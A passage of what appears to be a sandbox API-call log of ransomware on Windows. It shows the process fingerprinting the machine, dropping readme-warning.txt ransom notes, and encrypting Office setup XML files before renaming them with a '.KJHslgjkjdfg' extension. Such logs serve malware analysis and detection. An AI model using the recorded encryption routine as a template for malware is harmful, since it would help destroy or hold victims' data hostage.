pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.631] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.631] GetProcessHeap () returned 0x2ef0000 [0170.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.631] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.631] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.632] GetProcessHeap () returned 0x2ef0000 [0170.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.632] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.632] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.632] GetProcessHeap () returned 0x2ef0000 [0170.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.632] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.632] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.632] GetProcessHeap () returned 0x2ef0000 [0170.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.632] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.632] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.632] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.632] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.632] RegCloseKey (hKey=0x118) returned 0x0 [0170.633] GetProcessHeap () returned 0x2ef0000 [0170.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.633] GetProcessHeap () returned 0x2ef0000 [0170.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.633] GetProcessHeap () returned 0x2ef0000 [0170.633] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.633] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.633] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.633] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.633] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.633] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.633] GetProcessHeap () returned 0x2ef0000 [0170.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.633] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.633] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.633] GetProcessHeap () returned 0x2ef0000 [0170.633] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.634] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt") returned 105 [0170.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.637] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.639] CloseHandle (hObject=0x118) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.640] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.640] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0170.640] GetProcessHeap () returned 0x2ef0000 [0170.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc6) returned 0x2f14588 [0170.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.642] GetProcessHeap () returned 0x2ef0000 [0170.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.642] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.642] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.642] GetProcessHeap () returned 0x2ef0000 [0170.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c8) returned 0x2f47728 [0170.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.643] GetProcessHeap () returned 0x2ef0000 [0170.643] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.643] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.643] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.643] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.646] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.646] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.646] GetProcessHeap () returned 0x2ef0000 [0170.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.646] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.646] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.646] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.646] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.646] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.646] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.647] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.647] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.647] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.647] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.647] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x978, lpOverlapped=0x0) returned 1 [0170.647] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x980, dwBufLen=0x980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x980) returned 1 [0170.647] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.647] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x980, lpOverlapped=0x0) returned 1 [0170.647] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.647] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.647] SetEndOfFile (hFile=0x118) returned 1 [0170.650] GetProcessHeap () returned 0x2ef0000 [0170.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.650] GetProcessHeap () returned 0x2ef0000 [0170.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.678] CloseHandle (hObject=0x118) returned 1 [0170.678] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0170.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.678] GetProcessHeap () returned 0x2ef0000 [0170.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.679] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.679] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.679] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.681] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.681] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.681] GetProcessHeap () returned 0x2ef0000 [0170.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.681] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.681] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.681] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.682] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.682] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.682] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.682] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.682] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.682] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x708, lpOverlapped=0x0) returned 1 [0170.682] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x710, dwBufLen=0x710 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x710) returned 1 [0170.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.683] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x710, lpOverlapped=0x0) returned 1 [0170.683] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.683] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.683] SetEndOfFile (hFile=0x118) returned 1 [0170.685] GetProcessHeap () returned 0x2ef0000 [0170.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.685] GetProcessHeap () returned 0x2ef0000 [0170.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0170.691] CloseHandle (hObject=0x118) returned 1 [0170.691] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0170.691] GetProcessHeap () returned 0x2ef0000 [0170.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.691] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.691] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.691] GetProcessHeap () returned 0x2ef0000 [0170.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.691] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.691] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.692] GetProcessHeap () returned 0x2ef0000 [0170.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.692] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.692] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.692] GetProcessHeap () returned 0x2ef0000 [0170.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.692] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.692] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.692] GetProcessHeap () returned 0x2ef0000 [0170.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.692] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.692] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.692] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.692] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.693] RegCloseKey (hKey=0x118) returned 0x0 